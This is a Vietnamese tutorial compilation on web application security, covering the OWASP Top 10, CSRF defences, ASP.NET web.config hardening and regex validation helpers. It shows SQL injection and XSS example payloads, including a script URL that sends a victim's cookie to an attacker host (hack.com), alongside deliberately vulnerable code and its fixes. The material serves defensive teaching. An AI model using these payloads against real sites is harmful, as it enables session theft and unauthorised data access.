Top 10 OWASP (edit)
Phần 1: Top 10 nguy cơ bảo mật ứng dụng web OWASP và cách phòng chống
Phần 2: Tìm hiểu kỹ thuật tấn công CSRF và cách phòng chống
Phần 3: Cấu hình Web.config đơn giản giúp website an toàn
Phần 4: Regular Expression
Phần 1: Top 10 nguy cơ bảo mật ứng dụng web OWASP và cách phòng chống
https://www.mastercode.vn/blog/web-development/10-nguy-co-bao-mat-ung-dung-web-hang-dau-owasp-va-cach-phong-chong.103
Tìm hiểu chi tiết 10 rủi ro bảo mật hàng đầu về định nghĩa, về cách khai thác lỗ hổng và về cách xây dựng hệ thống phòng chống
Giới thiệu OWASP và Top 10
- OWASP is the Open Web Application Security Project
- Họ là một tổ chức phi lợi nhuận trên toàn thế giới tập trung vào việc nâng cao tính bảo mật của phần mềm trên web
- Họ tạo ra một tài liệu được gọi là Top 10 nguy cơ bảo mật ứng dụng Web quan trọng nhất
- "Top 10" là một hướng dẫn công nghệ để quản lý rủi ro bảo mật trang web phổ biến
- Nó thường là một nơi để tham khảo cho các chuyên gia bảo mật và các nhà phát triển cùng nhau
Ai đang bị tấn công ?
90% trang web có các lỗi bảo mật nghiêm trọng.
Hacktivists là ai ?
- Họ thường là trẻ, thiếu kinh nghiệm và không ý thức về hậu quả xã hội của hành động của họ
- Họ được tài trợ rất ít nhưng cuộc tấn công thành công thì được rất nhiều. Thường là cạnh tranh không lành mạnh giữa các doanh nghiệp
- Chúng ta biết họ bằng các tên như Anonymous và LulzSec
Top 10
- Injection
- Cross-Site Scripting (XSS)
- Broken Authentication and Session Management
- Insecure Direct Object References
- Cross-Site Request Forgery (CSRF)
- Security Misconfiguration
- Insecure Cryptographic Storage
- Failure to Restrict URL Access
- Insufficient Transport Layer Protection
- Unvalidated Redirects and Forwards
Tìm hiểu về Injection
Lỗi Injection rất phổ biến, đặc biệt là trong các mã nguồn mở. Injection thường được tìm thấy trong các truy vấn SQL, LDAP, Xpath hoặc truy vấn NoSQL, XML parsers, SMTP Headers...
Các lỗ hổng trong Injection dễ dàng khám phá và phần mềm tự động quét có thể giúp những kẻ xấu tìm thấy các lỗ hổng.
Kịch bản tấn công Injection như thế nào
Kịch bản 1: Ứng dụng sử dụng câu truy vấn SQL xem thông tin tài khoản theo mã tài khoản:
String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";
Kịch bản 2: Ngôn ngữ truy vấn Hibernate (HQL)
Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'");
Trong cả hai trường hợp trên, kẻ tấn công sửa đổi giá trị tham số 'id' trong trình duyệt của mình để gửi: 'or' 1 '=' 1
https://mastercode.vn/app/accountView?id=' or '1'='1
Điều này thay đổi ý nghĩa của cả hai truy vấn để trả lại tất cả các bản ghi từ bảng tài khoản. Các cuộc tấn công nguy hiểm hơn có thể sửa đổi dữ liệu hoặc thậm chí gọi thủ tục lưu sẵn
Đoạn code bên dưới trước khi được nâng cấp bảo vệ
protected void Page_Load(object sender, EventArgs e)
{
var productSubCategoryId = Request.QueryString["ProductSubCategoryId"];
var connString = WebConfigurationManager.ConnectionStrings["DefaultConnection"].ConnectionString;
var sqlString = "SELECT * FROM Product WHERE ProductSubCategoryID = " + productSubCategoryId;
using (var conn = new SqlConnection(connString))
{
using (var command = new SqlCommand(sqlString, conn))
{
command.Connection.Open();
ProductGridView.DataSource = command.ExecuteReader();
ProductGridView.DataBind();
}
}
ProductCount.Text = ProductGridView.Rows.Count.ToString("n0");
}
Các phòng chống Injection
- Sử dụng Inline SQL Parameterisation
protected void Page_Load(object sender, EventArgs e)
{
var productSubCategoryId = Request.QueryString["ProductSubCategoryId"];
var connString = WebConfigurationManager.ConnectionStrings["DefaultConnection"].ConnectionString;
var sqlString = "SELECT * FROM Product WHERE ProductSubCategoryID = @ProductSubCategoryId";
using (var conn = new SqlConnection(connString))
{
using (var command = new SqlCommand(sqlString, conn))
{
command.Parameters.Add("@ProductSubCategoryID", SqlDbType.VarChar).Value = productSubCategoryId;
command.Connection.Open();
ProductGridView.DataSource = command.ExecuteReader();
ProductGridView.DataBind();
}
}
ProductCount.Text = ProductGridView.Rows.Count.ToString("n0");
}
- Sử dụng Stored Procedure Parameterisation
protected void Page_Load(object sender, EventArgs e)
{
var productSubCategoryId = Request.QueryString["ProductSubCategoryId"];
var connString = WebConfigurationManager.ConnectionStrings["DefaultConnection"].ConnectionString;
using (var conn = new SqlConnection(connString))
{
using (var command = new SqlCommand("GetProducts", conn))
{
command.CommandType = CommandType.StoredProcedure;
command.Parameters.Add("@ProductSubCategoryID", SqlDbType.VarChar).Value = productSubCategoryId;
command.Connection.Open();
ProductGridView.DataSource = command.ExecuteReader();
ProductGridView.DataBind();
}
}
ProductCount.Text = ProductGridView.Rows.Count.ToString("n0");
}
- Sử dụng Entity Framework’s SQL parameterisation
protected void Page_Load(object sender, EventArgs e)
{
var productSubCategoryId = Request.QueryString["ProductSubCategoryId"];
int id;
if (!int.TryParse(productSubCategoryId, out id))
{
throw new ApplicationException("ID wasn't an integer");
}
var dc = new InjectionEntities();
ProductGridView.DataSource = dc.Products.Where(p => p.ProductSubcategoryID == id).ToList();
ProductGridView.DataBind();
ProductCount.Text = ProductGridView.Rows.Count.ToString("n0");
}
- Kiểm tra tính hợp lệ của biến
protected void Page_Load(object sender, EventArgs e)
{
var productSubCategoryId = Request.QueryString["ProductSubCategoryId"];
int id;
if (!int.TryParse(productSubCategoryId, out id))
{
throw new ApplicationException("ID wasn't an integer");
}
var connString = WebConfigurationManager.ConnectionStrings["DefaultConnection"].ConnectionString;
using (var conn = new SqlConnection(connString))
{
using (var command = new SqlCommand("GetProducts", conn))
{
command.CommandType = CommandType.StoredProcedure;
command.Parameters.Add("@ProductSubCategoryID", SqlDbType.Int).Value = id;
command.Connection.Open();
ProductGridView.DataSource = command.ExecuteReader();
ProductGridView.DataBind();
}
}
ProductCount.Text = ProductGridView.Rows.Count.ToString("n0");
}
Phần mềm tự động tấn công website thông qua lỗi Injection để ăn cấp dữ liệu thông tin thẻ của người dùng
Tìm hiểu về Cross-Site Scripting (XSS)
XSS (Cross Site Scripting) là một kiểu tấn công cho phép hacker chèn những đoạn script độc hại (thông thường là Javascript hoặc HTML) vào website và sẽ được thực thi ở phía người dùng (trong trình duyệt của người dùng).
Đối với XSS, người bị tấn công là người dùng chứ không phải website, hacker có thể dùng XSS để gửi những đoạn script độc hại tới một người dùng bất kỳ, và trình duyệt của người dùng sẽ thực thi những đoạn script đó và gửi về cho hacker những thông tin của người dùng thông qua email hoặc server do hacker định sẵn từ trước.
Các dạng tấn công XSS
- Persistent XSS (hay còn gọi là Stored XSS)
- Non-Persistent XSS (hay còn gọi là Reflected XSS)
- DOM-based XSS
Kịch bản tấn công Cross-Site Scripting (XSS) như thế nào
https://www.mastercode.vn/khoa-hoc?keysearch=mvc
Trang web trên rất bình thường nhưng nếu hacker truyền thành một đường link thay đổi như sau
https://www.mastercode.vn/khoa-hoc?keysearch=mvc<script>document.location= 'http://hack.com/save?cookie=' + document.cookie</script>
Kẻ tấn công ngoài truyền dữ liệu với nội dung là MVC ngoài ra còn chèn thêm đoạn mã độc lấy thông tin cookie của người dùng. Nếu website bạn bị lỗi XSS thì kẻ tấn công chỉ việc gửi link trên cho nạn nhận. Khi nạn nhân mở đường link đó sẽ bị lấy cắp thông tin. (Thông thường được link trước khi gửi được rút gọn link hoặc được che dấu dưới nội dung)
protected void Page_Load(object sender, EventArgs e)
{
var search = Request.QueryString["keysearch"];
SearchTerm.Text = search;
}
Cách phòng chống Cross-Site Scripting (XSS)
- Không bao giờ thêm dữ liệu vào CSDL mà không kiểm tra tính hợp lệ và sử dụng bộ lọc
- Ghi log lại những dữ liệu không hợp lệ. (Ví dụ lưu lại thông tin IP)
- Sử dụng thư viện Security Encode của Microsoft: https://www.nuget.org/packages/AntiXSS
- Javascript: Microsoft.Security.Application.Encoder.JavaScriptEncode(Request.QueryString["keysearch"])
<script type="text/javascript">
var q = <%= Microsoft.Security.Application.Encoder.JavaScriptEncode(Request.QueryString["keysearch"]) %>
</script>
- HTML: AntiXssEncoder.HtmlEncode(searchTerm, true)
using System.Web.Security.AntiXss;
protected void Page_Load(object sender, EventArgs e)
{
var search = Request.QueryString["keysearch"];
SearchTerm.Text = AntiXssEncoder.HtmlEncode(searchTerm, true);
}
- Không cho phép các ký tự đặc biệt
using System.Web.Security.AntiXss;
using System.Text.RegularExpressions;
protected void Page_Load(object sender, EventArgs e)
{
var search = Request.QueryString["keysearch"];
if (!Regex.IsMatch(search, @"^[\p{L} \.\-]+$"))
{
throw new ApplicationException("Search term is not allowed");
}
SearchTerm.Text = AntiXssEncoder.HtmlEncode(searchTerm, true);
}
- Kích hoạt X-XSS-Protection ở trình duyệt chống tấn công Cross Site Scripting
- X-XSS-Protection: 0 : tắt chế độ này
- X-XSS-Protection: 1 : lọc bỏ các đoạn scrip ở trong request, nhưng vẫn hiển thị trang web
- X-XSS-Protection: 1; mode=block : khi được kích hoạt sẽ vô hiệu hoàn toàn việc hiển thị trang web
<system.webServer>
<httpProtocol>
<customHeaders>
<add name="X-XSS-Protection" value="1; mode=block" />
</customHeaders>
</httpProtocol>
</system.webServer>
- https://msdn.microsoft.com/en-us/library/ff649310.aspx
- https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
- https://samy.pl/popular/tech.html
CSRF ( Cross Site Request Forgery) là kỹ thuật tấn công bằng cách sử dụng quyền chứng thực của người dùng đối với một website. CSRF là kỹ thuật tấn công vào người dùng, dựa vào đó hacker có thể thực thi những thao tác phải yêu cầu sự chứng thực. Hiểu một cách nôm na, đây là kỹ thuật tấn công dựa vào mượn quyền trái phép. CSRF còn được gọi là "session riding", "XSRF"
Kỹ thuật tấn công CSRF hay còn gọi là kỹ thuật tấn công "Cross-site Request Forgery", nghĩa là kỹ thuật tấn công giả mạo chính chủ thể của nó. Một ví dụ thế này cho các bạn dễ hình dung.
Giả sử trong hệ thống các bạn có một action xử lý xóa người dùng với url như sau: mastercode.vn/deleteuser?id=12 (Xóa user có id = 12). Như vậy giả sử một người nào đó biết được URL này thì họ sẽ hack được, và họ sẽ lợi dụng chính admin của hệ thống.
Phần 2: Tìm hiểu kỹ thuật tấn công CSRF và cách phòng chống
https://www.mastercode.vn/blog/web-development/tim-hieu-ky-thuat-tan-cong-csrf-va-cach-phong-chong.15
Vấn đề bảo mật website với dân coder có thể nói là rất quan trọng. Với những lập trình viên dày dặn kinh nghiệm thì họ sẽ có những cách xử lý khôn khéo để có thể bảo mật được dự án của mình, còn những bạn mới học nghề thì đây lại là vấn đề rất khó khăn.
1 CSRF là gì?
CSRF ( Cross Site Request Forgery) là kỹ thuật tấn công bằng cách sử dụng quyền chứng thực của người dùng đối với một website. CSRF là kỹ thuật tấn công vào người dùng, dựa vào đó hacker có thể thực thi những thao tác phải yêu cầu sự chứng thực. Hiểu một cách nôm na, đây là kỹ thuật tấn công dựa vào mượn quyền trái phép.
CSRF còn được gọi là "session riding", "XSRF"
Kỹ thuật tấn công CSRF hay còn gọi là kỹ thuật tấn công "Cross-site Request Forgery", nghĩa là kỹ thuật tấn công giả mạo chính chủ thể của nó. Tôi sẽ lấy một ví dụ thế này cho các bạn dễ hình dung.
Giả sử trong hệ thống các bạn có một action xử lý xóa người dùng với url như sau: mastercode.vn/deleteuser?id=12 (Xóa user có id = 12). Như vậy giả sử một người nào đó biết được URL này thì họ sẽ hack được, và họ sẽ lợi dụng chính admin của hệ thống.
Họ sẽ gửi một email với nội dung là một hoặc nhiều thẻ hình ảnh (IMG) với SRC là url đó và mỗi hình có 1 id khác nhau, như vậy nếu admin đọc cái email đó thì trường hợp admin đang login vào hệ thống thì admin đã vô tình xóa đi những user như trong SRC của các hình trên. Đây là một ví dụ nho nhỏ điển hình thôi chứ trong thực tế ai lại đi làm chương trình xóa người dùng mà lại để cái ID to đùng trên kia :D, ấy mà đôi khi những bạn non tay nghề lại mặc phải đấy.
2. Cách phòng chống tấn công CSRF
Dựa trên nguyên tắc của CSRF "lừa trình duyệt của người dùng (hoặc người dùng) gửi các câu lệnh HTTP", các kĩ thuật phòng tránh sẽ tập trung vào việc tìm cách phân biệt và hạn chế các câu lệnh giả mạo.
2.1 Phía user
Để phòng tránh trở thành nạn nhân của các cuộc tấn công CSRF, người dùng internet nên thực hiện một số lưu ý sau:
- Nên thoát khỏi các website quan trọng: Tài khoản ngân hàng, thanh toán trực tuyến, các mạng xã hội, gmail, yahoo… khi đã thực hiện xong giao dịch hay các công việc cần làm. (Check - email, checkin…)
- Không nên click vào các đường dẫn mà bạn nhận được qua email, qua facebook … Khi bạn đưa chuột qua 1 đường dẫn, phía dưới bên trái của trình duyệt thường có địa chỉ website đích, bạn nên lưu ý để đến đúng trang mình muốn.
- Không lưu các thông tin về mật khẩu tại trình duyệt của mình (không nên chọn các phương thức "đăng nhập lần sau", "lưu mật khẩu" …
- Trong quá trình thực hiện giao dịch hay vào các website quan trọng không nên vào các website khác, có thể chứa các mã khai thác của kẻ tấn công.
2.2 Phía server
Có nhiều lời khuyến cáo được đưa ra, tuy nhiên cho đến nay vẫn chưa có biện pháp nào có thể phòng chống triệt để CSRF. Sau đây là một vài kĩ thuật sử dụng.
- Cấu hình Web.config đơn giản giúp website an toàn
- Lựa chọn việc sử dụng GET VÀ POST. Sử dụng GET và POST đúng cách. Dùng GET nếu thao tác là truy vấn dữ liệu. Dùng POST nếu các thao tác tạo ra sự thay đổi hệ thống (theo khuyến cáo của W3C tổ chức tạo ra chuẩn http) Nếu ứng dụng của bạn theo chuẩn RESTful, bạn có thể dùng thêm các HTTP verbs, như PATCH, PUT hay DELETE
- Sử dụng captcha, các thông báo xác nhận. Captcha được sử dụng để nhận biết đối tượng đang thao tác với hệ thống là con người hay không? Các thao tác quan trọng như "đăng nhập" hay là "chuyển khoản" ,"thanh toán" thường là hay sử dụng captcha. Tuy nhiên, việc sử dụng captcha có thể gây khó khăn cho một vài đối tượng người dùng và làm họ khó chịu. Các thông báo xác nhận cũng thường được sử dụng, ví dụ như việc hiển thị một thông báo xác nhận "bạn có muốn xóa hay k" cũng làm hạn chế các kĩ thuật Cả hai cách trên vẫn có thể bị vượt qua nếu kẻ tấn công có một kịch bản hoàn hảo và kết hợp với lỗi XSS.
- Sử dụng token: Tạo ra một token tương ứng với mỗi form, token này sẽ là duy nhất đối với mỗi form và thường thì hàm tạo ra token này sẽ nhận đối số là"SESSION" hoặc được lưu thông tin trong SESSION. Khi nhận lệnh HTTP POST về, hệ thống sẽ thực hiên so khớp giá trị token này để quyết định có thực hiện hay không. Mặc định trong Rails, khi tạo ứng dụng mới:
- Sử dụng cookie riêng biệt cho trang quản trị: Một cookie không thể dùng chung cho các domain khác nhau, chính vì vậy việc sử dụng "admin.site.com" thay vì sử dụng "site.com/admin" là an toàn hơn.
- Kiểm tra REFERRER: Kiểm tra xem các câu lệnh http gửi đến hệ thống xuất phát từ đâu. Một ứng dụng web có thể hạn chế chỉ thực hiện các lệnh http gửi đến từ các trang đã được chứng thực. Tuy nhiên cách làm này có nhiều hạn chế và không thật sự hiệu quả.
- Kiểm tra IP: Một số hệ thống quan trọng chỉ cho truy cập từ những IP được thiết lập sẵn
Phần 3: Cấu hình Web.config đơn giản giúp website an toàn
https://www.mastercode.vn/blog/web-development/cau-hinh-web-config-don-gian-giup-website-an-toan.14
Khi lập trình web bằng ASP.NET hoặc Asp.net MVC, một thành phần rất quan trọng trong việc đảm bảo an toàn cho website là file web.config. Đây là file chứa các cấu hình cơ bản của website, tuy nhiên, các cấu hình mặc định của nó đôi khi tiềm ẩn nhiều nguy cơ an ninh.
<httpProtocol>
<customHeaders>
<remove name="X-Powered-By" />
<remove name="X-AspNet-Version" />
<remove name="X-AspNetMvc-Version" />
<remove name="X-Powered-By-Plesk" />
<remove name="Server" />
</customHeaders>
</httpProtocol>
Ẩn đi thông tin cấu hình server đang sử dụng, giúp hạn chế một số thành phần xấu muốn tấn công
2/ Cấu hình X-Frame-Options phòng chống tấn công Clickjacking
<httpProtocol>
<customHeaders>
<add name="X-Frame-Options" value="SAMEORIGIN" />
</customHeaders>
</httpProtocol>
Bạn có thể sử dụng tùy chọn X-Frame-Options để thông báo cho trình duyệt cho phép website của bạn có được nhúng vào bên trong các thẻ frame hoặc iframe hay không. Bạn có thể sử dụng tính năng này để phòng chống các cuộc tấn công clickjacking vốn rất phổ biến hiện nay.
X-Frame-Options có 3 chế độ như sau:
- DENY - Không ai có thể đặt trang này vào một iframe
- SAMEORIGIN - Trang chỉ có thể được hiển thị ở trong một iframe tạo bởi ai đó ở cùng một nguồn (same origin) với nó.
- ALLOW-FROM - Chỉ định đường dẫn url có thể đặt trang này vào iframe
3/ Cấu hình X-XSS-Protection chống tấn công Cross Site Scripting
<httpProtocol>
<customHeaders>
<add name="X-XSS-Protection" value="1; mode=block" />
</customHeaders>
</httpProtocol>
Cross Site Scripting thường được viết tắt là XSS là người tấn công sẽ khiến cho trang web chạy một đoạn javascript độc hại:
- X-XSS-Protection: 0 : tắt chế độ này
- X-XSS-Protection: 1 : lọc bỏ các đoạn scrip ở trong request, nhưng vẫn hiển thị trang web
- X-XSS-Protection: 1; mode=block : khi được kích hoạt sẽ vô hiệu hoàn toàn việc hiển thị trang web
4/ Tắt thông báo lỗi
Bật mode = “On” hoặc “RemoteOnly”
<customErrors mode="On" defaultRedirect="Error.html">
<error statusCode="403" redirect="NoAccess.html" />
<error statusCode="404" redirect="FileNotFound.html" />
</customErrors>
Trong đó
- Off: thông báo lỗi sẽ được hiển thị phía người dung
- On: ko hiển thị thông báo lỗi
- RemoteOnly: thông báo lỗi chỉ hiển thị phía server
Ngoài ra còn có cấu hình trang redirect mặc định khi có lỗi. Nếu ko để customErrors thì thông báo lỗi cũng ko đc hiển thị rõ ràng.
5/ BỎ TRACE
<trace enabled="false" localOnly="true">
Khi để trace với tùy chọn là localOnly=”false”, bất kỳ ai cũng có thể vào trang trace.axd để xem danh sách các request.
6/ TẮT DEBUG
<compilation debug="false">
7/ HTTPCOOKIEONLY
<httpCookies httpOnlyCookies="true" />
Tùy chỉnh này ko cho truy cập tới cookie bằng các đoạn code phía Client, ngăn tấn công XSS. Chỉ có tác dụng khi dung HttpCookie.
8/ MÃ HÓA VIEWSTATE
<system.web>
…
<machineKey validation="3DES"/>
…
</system.web>
9/ MÃ HÓA CÁC THÀNH PHẦN TRONG WEB.CONFIG
B1: Cấp quyền cho account ASPNET truy xuất đến đối tượng chứa key RSA mặc định “NetFrameworkConfigurationKey”
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727>aspnet_regiis –pa NetFrameworkConfigurationKey" "ASPNET"
B2: Mã hóa các thành phần
aspnet_regiis -pe "connectionStrings" -app "/MyApplication"
-pe: thành phần
-app: tên thư mục ứng dụng
B3: Giải mã
aspnet_regiis -pd "connectionStrings" -app "/MyApplication"
Phần 4: Regular Expression
Loại bỏ thẻ tag html
public static string TrimHtmlTags(this string input)
{
if (string.IsNullOrEmpty(input))
return null;
input = HttpUtility.HtmlDecode(input);
return Regex.Replace(input, @"<.[^>]*>", string.Empty);
}
Chuyển chuỗi có dấu sang không dấu
public static string ToVietNameseChacracter(this string s)
{
if (string.IsNullOrEmpty(s))
return string.Empty;
Regex regex = new Regex("\\p{IsCombiningDiacriticalMarks}+");
string temp = s.Normalize(NormalizationForm.FormD);
return regex.Replace(temp, String.Empty);
}
Kiểm tra xem có phải là Email không
public bool IsValidMail(string email)
{
if (string.IsNullOrEmpty(email))
return false;
string sMailPattern = @"\w+([-+.']\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*";
return Regex.IsMatch(email.Trim(), sMailPattern);
}
Kiểm tra có phải là số điện thoại di động ở Việt Nam không
public bool IsValidVietNamPhoneNumber(string phoneNum)
{
if (string.IsNullOrEmpty(phoneNum))
return false;
string sMailPattern = @"^((09(\d){8})|(086(\d){7})|(088(\d){7})|(089(\d){7})|(01(\d){9}))$";
return Regex.IsMatch(phoneNum.Trim(), sMailPattern);
}
Kiểm tra chuỗi có phải là số không (hay sử dụng đối với dữ liệu từ người dùng gửi lên server xử lý)
public bool IsValidNumber(string str)
{
return Regex.IsMatch(str, @"^[0-9]+$");
}